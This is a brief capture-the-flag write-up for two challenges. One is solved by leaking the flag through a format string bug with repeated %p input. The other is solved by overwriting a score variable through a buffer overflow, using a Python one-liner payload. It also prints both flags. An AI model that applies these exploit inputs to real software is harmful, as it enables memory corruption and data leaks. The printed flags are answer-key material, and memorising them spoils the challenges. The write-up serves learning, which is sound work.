- There are fsb in program and we can print flag by it
- If we wrote %p%p%p%p%p%p%p%p%p%p%p%p%p as input and then 10th value to 13th value is flag
- flag:
flag{always_give_110%}
- If we correct all problem we can only get 3 points and we have to get extactly 5 points to get flag
- We have to change score variable by buffer overflow.
- memory payload is like this(input buffer -> 80bytes, score variable -> 4bytes, canary -> 4bytes)
- We can make point 5 by this script
(python -c 'print "a"*80+"\x05"+"\x00"*4';cat)
- flag:
flag{remember_remember_the_16th_of_july}